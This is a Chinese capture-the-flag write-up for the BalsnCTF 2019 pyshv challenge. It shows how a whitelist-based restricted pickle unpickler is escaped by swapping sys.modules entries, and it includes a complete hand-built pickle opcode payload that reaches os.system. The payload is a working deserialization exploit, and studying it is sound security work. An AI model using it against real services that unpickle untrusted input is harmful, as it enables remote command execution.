源码:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc
securePickle.py
import pickle
import io
whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or ‘.‘ in name:
raise KeyError(‘The pickle is spoilt :(‘)
return pickle.Unpickler.find_class(self, module, name)
def loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
dumps = pickle.dumps
server.py
#!/usr/bin/python3 -u
import securePickle as pickle
import codecs
pickle.whitelist.append(‘sys‘)
class Pysh(object):
def __init__(self):
self.login()
self.cmds = {}
def login(self):
user = input().encode(‘ascii‘)
user = codecs.decode(user, ‘base64‘)
user = pickle.loads(user)
raise NotImplementedError("Not Implemented QAQ")
def run(self):
while True:
req = input(‘$ ‘)
func = self.cmds.get(req, None)
if func is None:
print(‘pysh: ‘ + req + ‘: command not found‘)
else:
func()
if __name__ == ‘__main__‘:
pysh = Pysh()
pysh.run()
find_class 直接调的 pickle.py 中的方法,那就先看看它如何导入包的:
# pickle.Unpickler.find_class
def find_class(self, module, name):
# Subclasses may override this.
if self.proto < 3 and self.fix_imports:
if (module, name) in _compat_pickle.NAME_MAPPING:
module, name = _compat_pickle.NAME_MAPPING[(module, name)]
elif module in _compat_pickle.IMPORT_MAPPING:
module = _compat_pickle.IMPORT_MAPPING[module]
__import__(module, level=0)
if self.proto >= 4:
return _getattribute(sys.modules[module], name)[0]
else:
return getattr(sys.modules[module], name)
题目用RestrictedUnpickler
做为反序列化的过程类,find_class
中限制了反序列化的对象必须是sys
模块中的对象。也就是我们要保证我们使用c
导入的模块只能是sys
。
但是sys
模块具有一个属性modules
,其中包含所有已加载的模块,并且还允许覆盖这些模块。但是pickle
没有提供GETITEM
说明,我们只能访问的直接属性sys
,因此不能sys.modules.__getitem__
直接调用。限制了module
只能为sys
,那能否把sys.modules[‘sys’]
替换为sys.modules[‘os’]
,从而引入危险模块。但是我们可以:
from sys import modules
modules[‘sys‘] = modules[‘os‘]
from sys import system
本地实验:
C:\Users\50871>python3
Python 3.9.0 (tags/v3.9.0:9cf6752, Oct 5 2020, 15:34:40) [MSC v.1927 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> from sys import modules
>>> modules[‘sys‘] = modules[‘os‘]
>>> from sys import system
>>> system(‘dir‘)
驱动器 C 中的卷是 Windows-SSD
卷的序列号是 EE9A-6908
C:\Users\50871 的目录
2021/04/20 23:00 <DIR> .
2021/04/20 23:00 <DIR> ..
2020/09/21 23:20 <DIR> .android
2021/04/08 20:08 1,411 .bash_history
因为modules
是个dict
,所以我们需要用getattr(sys.modules[module], name)
获取字典其中一个的值
>>> import sys
>>> sys.modules[‘sys‘] = sys.modules
>>> import sys
>>> dir(sys) # 成功导入 dict 对象
[‘__class__‘, ‘__contains__‘, ‘__delattr__‘, ‘__delitem__‘, ‘__dir__‘, ‘__doc__‘, ‘__eq__‘, ‘__format__‘, ‘__ge__‘, ‘__getattribute__‘, ‘__getitem__‘, ‘__gt__‘, ‘__hash__‘, ‘__init__‘, ‘__init_subclass__‘, ‘__iter__‘, ‘__le__‘, ‘__len__‘, ‘__lt__‘, ‘__ne__‘, ‘__new__‘, ‘__reduce__‘, ‘__reduce_ex__‘, ‘__repr__‘, ‘__setattr__‘, ‘__setitem__‘, ‘__sizeof__‘, ‘__str__‘, ‘__subclasshook__‘, ‘clear‘, ‘copy‘, ‘fromkeys‘, ‘get‘, ‘items‘, ‘keys‘, ‘pop‘, ‘popitem‘, ‘setdefault‘, ‘update‘, ‘values‘]
>>> getattr(sys, ‘get‘) # 结合 find_class 中的 getattr
<built-in method get of dict object at 0x000002622D052688>
利用get
即可执行命令
>>> import sys
>>> sys.modules.get(‘os‘).system(‘dir‘)
驱动器 C 中的卷是 Windows-SSD
卷的序列号是 EE9A-6908
C:\Users\50871 的目录
2021/04/20 23:00 <DIR> .
2021/04/20 23:00 <DIR> ..
2020/09/21 23:20 <DIR> .android
2021/04/08 20:08 1,411 .bash_history
所以我们需要构造:
sys.modules[‘sys‘] = sys.modules
sys.modules[‘sys‘].get(‘os‘).system(‘dir‘)
改为opcode:
csys
modules
p100
S‘sys‘
g100
scsys
get
(S‘os‘
tRp101
0S‘sys‘
g101
scsys
system
(S‘dir‘
tR.
分析如下:
0: c GLOBAL ‘sys modules‘ #引入对象sys.modules
13: p PUT 100 #将栈顶对象储存至memo_100
18: S STRING ‘sys‘ #实例化一个字符串对象sys
25: g GET 100 #将memo_100的对象压栈
30: s SETITEM #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即获得sys.modules[‘sys‘]
31: c GLOBAL ‘sys get‘ #引入对象sys.get
40: ( MARK #向栈中压入一个MARK标记
41: S STRING ‘os‘ #实例化一个字符串对象os
47: t TUPLE (MARK at 40) #寻找栈中的上一个MARK,并组合之间的数据为元组,即(‘os‘)
48: R REDUCE #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即获得sys.get(‘os‘)
49: p PUT 101 #将栈顶对象储存至memo_101
54: 0 POP #丢弃栈顶对象
55: S STRING ‘sys‘ #实例化一个字符串对象sys
62: g GET 101 #将memo_101的对象压栈
67: s SETITEM #将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象,即获得
68: c GLOBAL ‘sys system‘ #引入对象sys.system
80: ( MARK #向栈中压入一个MARK标记
81: S STRING ‘dir‘ #实例化一个字符串对象dir
88: t TUPLE (MARK at 80) #寻找栈中的上一个MARK,并组合之间的数据为元组,即(‘dir‘)
89: R REDUCE #选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数
90: . STOP #结束
未完待续:
https://www.anquanke.com/post/id/188981#h3-13
https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://hxp.io/blog/61/Balsn-CTF-2019-writeups/
原文:https://www.cnblogs.com/w0s1np/p/14709894.html